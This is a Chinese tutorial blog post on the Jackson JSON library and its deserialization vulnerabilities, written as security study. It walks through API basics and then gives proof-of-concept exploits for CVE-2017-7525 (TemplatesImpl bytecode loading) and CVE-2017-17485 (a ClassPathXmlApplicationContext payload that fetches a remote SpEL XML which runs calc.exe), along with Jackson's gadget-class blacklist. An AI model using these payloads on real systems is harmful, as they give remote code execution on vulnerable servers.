首页 > 其他分享 >jackson 反序列化学习

jackson 反序列化学习

时间:2024-09-12 22:35:03浏览次数:1  
标签:jackson name 学习 Jackson 序列化 public String

jackson 反序列化学习

jackson 介绍

Jackson 是一个用于处理 JSON 数据的开源 Java 库。Spring MVC 的默认 json 解析器便是 JacksonJackson 优点很多。 Jackson 所依赖的 jar 包较少,简单易用。与其他 Java 的 json 的框架 Gson 等相比, Jackson 解析大的 json 文件速度比较快;Jackson 运行时占用内存比较低,性能比较好;Jackson 有灵活的 API,可以很容易进行扩展和定制。

Java 领域,Jackson 已经成为处理 JSON 数据的事实标准库。它提供了丰富的功能,包括将 Java 对象转换为 JSON 字符串(序列化)以及将 JSON 字符串转换为 Java 对象(反序列化)。

Jackson主要由三个核心包组成:

  • jackson-databind:提供了通用的数据绑定功能(将Java对象与JSON数据相互转换)
  • jackson-core:提供了核心的低级JSON处理API(例如JsonParser和JsonGenerator)
  • jackson-annotations:提供了用于配置数据绑定的注解

jackson 依赖

<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.9.3</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-core</artifactId>
        <version>2.9.3</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-annotations</artifactId>
        <version>2.9.3</version>
    </dependency>
</dependencies>

jackson 中的常用 API

ObjectMapper

Jackson 最常用的 API 就是基于"对象绑定" 的 ObjectMapper:

  • ObjectMapper可以从字符串,流或文件中解析JSON,并创建表示已解析的JSON的Java对象。 将JSON解析为Java对象也称为从JSON反序列化Java对象。
  • ObjectMapper也可以从Java对象创建JSON。 从Java对象生成JSON也称为将Java对象序列化为JSON。
  • Object映射器可以将JSON解析为自定义的类的对象,也可以解析置JSON树模型的对象。

之所以称为ObjectMapper是因为它将JSON映射到Java对象(反序列化),或者将Java对象映射到JSON(序列化)。

序列化:将Java对象转换为JSON字符串的过程。这在许多场景中非常有用,例如在将数据发送到Web客户端时,或者在将数据存储到文件或数据库时。Jackson通过ObjectMapper类来实现序列化。

demo:

package org.example;  
  
import com.fasterxml.jackson.databind.ObjectMapper;  
  
public class Main {  
    public String name;  
    public int age;  
  
    public Main(String name, int age) {  
        this.name = name;  
        this.age = age;  
    }  
  
    public static void main(String[] args) {  
        ObjectMapper objectMapper = new ObjectMapper();  
        Main person = new Main("gaoren", 35);  
  
        try {  
            String jsonString = objectMapper.writeValueAsString(person);  
            System.out.println(jsonString);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

得到结果:

反序列化:将 JSON 字符串转换回Java对象的过程。这在从 Web 客户端接收数据或从文件或数据库读取数据时非常有用。同样,Jackson 使用 ObjectMapper 类来实现反序列化。

demo:

package org.example;  
  
import com.fasterxml.jackson.databind.ObjectMapper;  
  
public class deser {  
    public String name;  
    public int age;  
    public deser() {  
    }  
    public static void main(String[] args) {  
        ObjectMapper objectMapper = new ObjectMapper();  
        String jsonString = "{\"name\":\"gaoren\",\"age\":35}";  
  
        try {  
            deser person = objectMapper.readValue(jsonString, deser.class);  
            System.out.println("Name: " + person.name + ", Age: " + person.age);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

结果:

JsonParser

Jackson JsonParser类是一个底层一些的JSON解析器。 它类似于XML的Java StAX解析器,差别是JsonParser解析JSON而不解析XML。Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快,但使用起来也比较麻烦。

使用JsonParser需要先创建一个JsonFactory

package org.example;  
  
  
import com.fasterxml.jackson.core.JsonFactory;  
import com.fasterxml.jackson.core.JsonParser;  
import com.fasterxml.jackson.core.JsonToken;  
  
public class deser {  
    public static void main(String[] args){  
        String json = "{\"name\":\"fakes0u1\",\"age\":123}";  
        JsonFactory jsonFactory = new JsonFactory();  
        try {  
            JsonParser parser = jsonFactory.createParser(json);  
            System.out.println(parser);  
        }  
        catch (Exception e ){  
            e.printStackTrace();  
        }  
    }  
}  
class Person1 {  
    private String name;  
    private int age;  
    public Person1() {  
    }  
    public String getName() {  
        return name;  
    }  
  
    public void setName(String name) {  
        this.name = name;  
    }  
  
    public int getAge() {  
        return age;  
    }  
  
    public void setAge(int age) {  
        this.age = age;  
    }  
}

运行得到:

一旦创建了Jackson JsonParser,就可以使用它来解析JSON。 JsonParser的工作方式是将JSON分解为一系列令牌,可以一个一个地迭代令牌。

使用JsonParser的nextToken()获得一个JsonToken,然后循环打印看看所有的 jsonToken,在得到 parser 后添加下面代码

while(!parser.isClosed()){  
    JsonToken jsonToken = parser.nextToken();  
    System.out.println(jsonToken);

运行得到

然后再利用equals方法进行匹配,如果标记的字段名称是相同的就返回其值

返回值可以用 getValueAsString()getValueAsInt() 等方法,根据不同的值的类型

package jackson;

import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;

public class JacksonJsonParser {
    public static void main(String[] args){
        String json = "{\"name\":\"fakes0u1\",\"age\":123}";
        JsonFactory jsonFactory = new JsonFactory();
        Person1 person1 =new Person1();
        try{
            JsonParser parser = jsonFactory.createParser(json);
            while(!parser.isClosed()){
                JsonToken jsonToken = parser.nextToken();
                if (JsonToken.FIELD_NAME.equals(jsonToken)){
                    String fieldName = parser.getCurrentName();
                    System.out.println(fieldName);

                    jsonToken=parser.nextToken();

                    if ("name".equals(fieldName)){
                        person1.name = parser.getValueAsString();

                    }
                    else if ("age".equals(fieldName)){
                        person1.age = parser.getValueAsInt();
                    }
                }

                System.out.println("person's name is "+person1.name);
                System.out.println("person's age is "+person1.age);
            }
        }
        catch (Exception e ){
            e.printStackTrace();
        }
    }
}
class Person1 {
    public  String name;
    public  int age;

    // 必须提供无参构造函数
    public Person1() {
    }

    // Getters and Setters

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

JsonGenerator

Jackson JsonGenerator用于从Java对象(或代码从中生成JSON的任何数据结构)生成JSON。

同样的 使用JsonGenerator也需要先创建一个JsonFactory 从其中使用createGenerator() 来创建一个JsonGenerator

package jackson;

import com.fasterxml.jackson.core.*;

import java.io.File;

public class JacksonJsonParser {
    public static void main(String[] args){
        JsonFactory jsonFactory = new JsonFactory();
        Person1 person1 =new Person1();
        try{
            JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8);
            jsonGenerator.writeStartObject();
            jsonGenerator.writeStringField("name","fakes0u1");
            jsonGenerator.writeNumberField("age",123);
            jsonGenerator.writeEndObject();

            jsonGenerator.close();

        }
        catch (Exception e ){
            e.printStackTrace();
        }
    }
}

class Person1 {
    public  String name;
    public  int age;

    // 必须提供无参构造函数
    public Person1() {
    }

    // Getters and Setters

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

jackson 反序列化流程分析

Jackson的反序列化的过程分为两步 第一步通过构造函数生成实例 第二步是对实例进行设置属性值

调试跟进来到函数_readMapAndClose

调用了 BeanDeserializer#deserialize 方法,

继续跟进 vanillaDeserialize 函数,

跟踪 createUsingDefault 函数,


看到调用 call 方法实现了无参构造函数。返回的 bean 就是实例化后的对象。

然接下来就是进行赋值了。

跟进 deserializeAndSet 方法,

看到在 set 处进行了赋值。剩下的其实都差多的,只是类型不同赋值方法略有差别。

Jackson 反序列化漏洞

前提条件

满足以下三个条件之一存在Jackson反序列化漏洞,需要会触发json中的类解析的注解或者函数

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;

漏洞原理

当我们使用的JacksonPolymorphicDeserialization配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法 我们就可以在这里做文章

以要进行反序列化的类的属性是否为Object类分为两种:

一、属性中没有Object类时

我们不能对属性进行操作。我们只能让他的构造函数或者是setter方法中存在危险函数如下

public void setName(String name) {  
    this.name = name;  
    try{  
        Runtime.getRuntime().exec("calc");  
    }  
    catch (Exception e ){  
        e.printStackTrace();  
    }  
}

进行反序列弹出计算机

二、属性中有Object类时

当属性类型为Object时,因为Object类型是任意类型的父类,因此扩大了我们的攻击面,我们只需要寻找出在目标服务端环境中存在的且构造函数或setter方法存在漏洞代码的类即可进行攻击利用。

后面出现的Jackson反序列化的CVE漏洞、黑名单绕过等都是基于这个原理寻找各种符合条件的利用链而已。

这里我们假设目标服务端环境中存在其一个恶意类Evil,其setter方法存在任意代码执行漏洞,存在于 org.example包中:

package org.example;  
  
public class Evil {  
    public String cmd;  
  
    public void setCmd(String cmd) {  
        this.cmd = cmd;  
        try {  
            Runtime.getRuntime().exec("calc");  
        }  
        catch (Exception e){  
            e.printStackTrace();  
        }  
    }  
}

Person类,将sex属性改为object属性:

public class Person {  
    public int age;  
    public String name;  
//   @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)  
    public Object object;  
  
    public Person() {  
        System.out.println("Person构造函数");  
    }  
  
    @Override  
    public String toString() {  
        return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);  
    }  
}

test.java

public class test {  
    public static void main(String[] args) throws Exception {  
  
  
        ObjectMapper mapper = new ObjectMapper();  
        mapper.enableDefaultTyping();  
  
        String json = "{\"age\":6,\"name\":\"mi1k7ea\",\"object\":[\"org.example.Evil\",{\"cmd\":\"calc\"}]}";  
        Person p2 = mapper.readValue(json, Person.class);  
        System.out.println(p2);  
    }  
}

运行同理弹出计算机

CVE-2017-7525 TemplatesImpl利用链

影响版本

Jackson 2.6系列 < 2.6.7.1

Jackson 2.7系列 < 2.7.9.1

Jackson 2.8系列 < 2.8.8.1

JDK使用1.7版本的,记得恶意类也得用 1.7 版本的编译。

复现利用

依赖:

<dependency>  
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-databind</artifactId>  
    <version>2.7.9</version>  
</dependency>  
<dependency>  
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-core</artifactId>  
    <version>2.7.9</version>  
</dependency>  
<dependency>  
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-annotations</artifactId>  
    <version>2.7.9</version>  
</dependency>

poc.java

package org.example;  
  
import com.fasterxml.jackson.databind.ObjectMapper;  
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;  
import org.springframework.util.FileCopyUtils;  
import java.io.ByteArrayOutputStream;  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.IOException;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Main {  
    public static void main(String[] args)throws IOException {  
        String exp = readClassStr("D:/poc.class");  
        String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +  
                "{\n" +  
                "'transletBytecodes':['"+exp+"'],\n" +  
                "'transletName':'mi1k7ea',\n" +  
                "'outputProperties':{}\n" +  
                "}\n" +  
                "]\n" +  
                "}");  
        System.out.printf(jsonInput);  
        ObjectMapper mapper = new ObjectMapper();  
        mapper.enableDefaultTyping();  
        try {  
        mapper.readValue(jsonInput, Person.class);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
    public static String aposToQuotes(String json){  
        return json.replace("'","\"");  
    }  
    public static String readClassStr(String cls){  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        try {  
            FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
        return Base64.encode(byteArrayOutputStream.toByteArray());  
    }  
  
}  
  
class Person {  
    public Object object;  
}

序列化的内容需要自己构造,直接序列化只会得到有 setter 和 getter 方法的属性

运行弹出计算机

调试分析

前面就和上面的反序列化流程一样通过 BeanDeserializer.vanillaDeserialize() 来实例化一个 bean 对象,也就是上面的 Person 对象,然后利用 deserializeAndSet() 函数来解析属性值并设置到该Bean 中。在deserializeAndSet()函数中,会反射调用属性的setter方法来设置属性值,

但是outputProperties属性在deserializeAndSet()函数中是通过反射机制调用它的getter方法,这就是该利用链能被成功触发的原因,虽然Jackson的反序列化机制只是调用setter方法,但是是调用SetterlessProperty.deserializeAndSet()来解析outputProperties属性而前面两个属性是调用的MethodProperty.deserializeAndSet()解析的,其中SetterlessProperty.deserializeAndSet()函数中是调用属性的getter方法而非setter方法

再往下就是反射调用到了getOutputProperties()。然后剩下的就是 java 的动态类加载了,利用链:getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->恶意类构造函数。

高版本JDK不能触发的原因——_tfactory

在大版本下,JDK1.7和1.8中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。区别在于新建TransletClassLoader类实例的代码,其中调用了 _factory 属性,但是该属性值我们没有在PoC中设置,默认为null,于是就会抛出异常了。Jackson不支持在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性,所以也就没法进行反序列化了。

至于为什么jackson-databind-2.7.9.1 或者更高的版本不能触发是因为,在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用checkIllegalTypes()函数提取当前类名,然后使用黑名单进行过滤:

static {  
    Set<String> s = new HashSet<String>();  
    // Courtesy of [https://github.com/kantega/notsoserial]:  
    // (and wrt [databind#1599]  
    s.add("org.apache.commons.collections.functors.InvokerTransformer");  
    s.add("org.apache.commons.collections.functors.InstantiateTransformer");  
    s.add("org.apache.commons.collections4.functors.InvokerTransformer");  
    s.add("org.apache.commons.collections4.functors.InstantiateTransformer");  
    s.add("org.codehaus.groovy.runtime.ConvertedClosure");  
    s.add("org.codehaus.groovy.runtime.MethodClosure");  
    s.add("org.springframework.beans.factory.ObjectFactory");  
    s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");  
    DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);  
}

实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes(),第一次由于是 Person 类,因此不会被过滤;第二次是TemplatesImpl类,由于其在黑名单中,因此被过滤了。

CVE-2017-17485 ClassPathXmlApplicationContext利用链

影响版本

Jackson 2.7系列 < 2.7.9.2

Jackson 2.8系列 < 2.8.11

Jackson 2.9系列 < 2.9.4

复现利用

jackson 依赖和上面还是一样的,spring 依赖:

    <dependency>  
        <groupId>org.springframework</groupId>  
        <artifactId>spring-beans</artifactId>  
        <version>5.0.2.RELEASE</version>  
    </dependency>  
    <dependency>  
        <groupId>org.springframework</groupId>  
        <artifactId>spring-context</artifactId>  
        <version>5.0.2.RELEASE</version>  
    </dependency>  
    <dependency>  
        <groupId>org.springframework</groupId>  
        <artifactId>spring-core</artifactId>  
        <version>5.0.2.RELEASE</version>  
    </dependency>  
    <dependency>  
        <groupId>org.springframework</groupId>  
        <artifactId>spring-expression</artifactId>  
        <version>5.0.2.RELEASE</version>  
    </dependency>  
    <dependency>  
        <groupId>commons-logging</groupId>  
        <artifactId>commons-logging</artifactId>  
        <version>1.2</version>  

poc.java

package org.example;  
  
import com.fasterxml.jackson.databind.ObjectMapper;  
  
import java.io.IOException;  
  
public class poc {  
    public static void main(String[] args)  {   
        String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";  
        ObjectMapper mapper = new ObjectMapper();  
        mapper.enableDefaultTyping();  
        try {  
            mapper.readValue(payload, Object.class);  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
}

spel.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg value="calc.exe" />
        <property name="whatever" value="#{ pb.start() }"/>
    </bean>
</beans>

运行弹出计算机

调试分析

利用链是基于org.springframework.context.support.ClassPathXmlApplicationContext类,利用的原理就是SpEL表达式注入漏洞,

一直跟进到 TypeWrappedDeserializer#deserialize 方法,调用了UntypedObjectDeserializer.deserializeWithType()

跟进该函数,发现回调用 AsArrayTypeDeserializer.deserializeTypedFromAny() 函数,该函数可以解析我们数组形式的 JSON 内容。

一路调用到了 BeanDeserializerBase.deserializeFromString 函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:

跟进 createFromString() 方法,

看到value值为 http://127.0.0.1/spel.xml,然后调用 _fromStringCreator.call1(value) 来解析配置文件。跟进

继续向下会调用到ClassPathXmlApplicationContext类的构造函数

然后调用 refresh 方法,

注意:前面调用newInstance()是新建我们的利用类org.springframework.context.support.ClassPathXmlApplicationContext的实例,但是我们看到并没有调用ClassPathXmlApplicationContext类相关的setter方法,这是因为该类本身就没有setter方法,但是拥有构造函数,因此Jackson反序列化的时候会自动调用ClassPathXmlApplicationContext类的构造函数。而这个点就是和之前的利用链的不同之处,该类的漏洞点出在自己的构造函数而非在setter方法中。

下面我们需要继续调试看ClassPathXmlApplicationContext类的构造函数中是哪里存在有漏洞。

跟进refresh()函数,进行一系列refresh之前的准备操作后,发现调用了 invokeBeanFactoryPostProcessors() 函数,顾名思义,就是调用上下文中注册为beans的工厂处理器:

一直跟进,到达 doGetBeanNamesForType() 函数中,调用isFactoryBean()判断当前beanName是否为FactoryBean

在isFactoryBean()函数中,调用predictBeanType()函数获取Bean类型,

继续跟进,predictBeanType()函数中通过调用determineTargetType()函数来预测Bean类型,

determineTargetType()函数中通过调用 resolveBeanClass() 函数来确定目标类型:

跟进调用doResolveBeanClass()用来解析Bean类,其中调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容,

跟进该函数,

看到已经到了SpEL表达式解析器,跟进后看到,再最下面执行了 SpEl 表达式执行。

总结就是通过反序列化调用到了 org.springframework.context.support.ClassPathXmlApplicationContext 的构造方法,构造方法中的 refresh 中又层层调用到了 SeEL 的表达式执行。

参考:Jackson系列一——反序列化漏洞基本原理
参考:Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)
参考:Jackson系列三——CVE-2017-17485(基于ClassPathXmlApplicationContext利用链)
参考:https://xz.aliyun.com/t/12966

标签:jackson,name,学习,Jackson,序列化,public,String
From: https://www.cnblogs.com/gaorenyusi/p/18411262

相关文章

  • 《深度学习》—— 神经网络基本结构
    前言深度学习是一种基于神经网络的机器学习算法,其核心在于构建由多层神经元组成的人工神经网络,这些层次能够捕捉数据中的复杂结构和抽象特征。神经网络通过调整连接各层的权重,从大量数据中自动学习并提取特征,进而实现预测或分类等任务。一、神经网络结构神经网络的基本组......
  • ##嵌入式学习之Linux系统编程##--标准I/O函数
    day01主要内容:linux系统下一切皆文件标准IO---标准库文件IO---系统调用制作库---静态库、动态库基本概念:标准I/O:文件:一组相关数据的有序集合。文件名:这个数据集合的名称。文件类型:lsp-bcd系统调用用户空间进程访问内核的接口把用户从底层的硬件编程......
  • Python3 学习笔记6-os 模块、错误和异常、面向对象编程、类的专有方法、命名空间和作
    目录一、os模块: 常用方法: 二、错误和异常:(1)语法错误:(2)异常:(3)异常处理:(4)抛出异常:(5)用户自定义异常:(6)清理行为:(7)with语句:三、面向对象编程: (1)类和对象:(2)继承:(3)封装:(4)多态:(5)运算符重载: 四、类的专有方法:(1)__init__(self,...):(2)__del__(self):(3)__repr__(self):(4)__set......
  • 【机器学习】正则化-Dropout/DropPath
    1.DropoutDropout是一种正则化技术,通过在训练过程中随机移除部分神经元及其连接,从而减少神经网络对特定神经元的依赖,提升模型的泛化能力。具体而言,Dropout相当于在训练过程中从原始网络中随机采样出“更薄的”子网络,每个子网络的神经元数量较少。在前向传播和反向传播过......
  • 【机器学习】过拟合/欠拟合+正则化
    正则化1.过拟合/欠拟合正则化通过在损失函数中添加约束,防止模型参数在迭代过程中无限制增长,进而提高模型的泛化能力。在模型训练过程中,参数的优化实际上是不断迭代,以找到一个方程H......
  • 【机器学习】层归一化(Layer Normalization)
    LayerNormalization(层归一化)是一种用于深度学习神经网络的归一化方法,它通过对神经元的输入进行归一化,使每一层的输入保持稳定,从而减缓梯度消失或梯度爆炸问题。与批量归一化(BatchNormalization)不同,LayerNorm不依赖于mini-batch,而是对每一个样本的每一层神经元进行归一......
  • DECL: 针对噪声时间序列的去噪感知对比学习《Denoising-Aware Contrastive Learning f
    今天是2024年9月12日,组会摸鱼,很久没看论文了,在摸鱼看代码,最近IJCAI2024出来了,找了几篇论文看,首先这是第一篇。论文:Denoising-AwareContrastiveLearningforNoisyTimeSeries或者是:Denoising-AwareContrastiveLearningforNoisyTimeSeriesGitHub:https://github.com/be......
  • 关于java学习基础路线的分享【javaSE】
    成长路上不孤单......
  • 【影像组学pyradiomics学习笔记】png图像提取组学特征
    1、提取单张png图像组学特征示例:importSimpleITKassitkimportnumpyasnpimportmatplotlib.pyplotaspltfromradiomicsimportfeatureextractorimportosimportcv2defload_image(image_path):image=cv2.imread(image_path,cv2.IMREAD_GRAYSCALE)#......
  • C++读取命令行参数的学习(BOOST库)
    在c++工程中,经常需要通过命令行参数来获取程序运行所需要的信息。作者在实际工作中学习了Boost库,这里根据作者的理解,写了一个依托boost库完成命令行参数提取的程序模版,请大佬批评!!#defineOK0#defineExit-99//主程序#include<iostream>#include"XApp.h"intmain(int......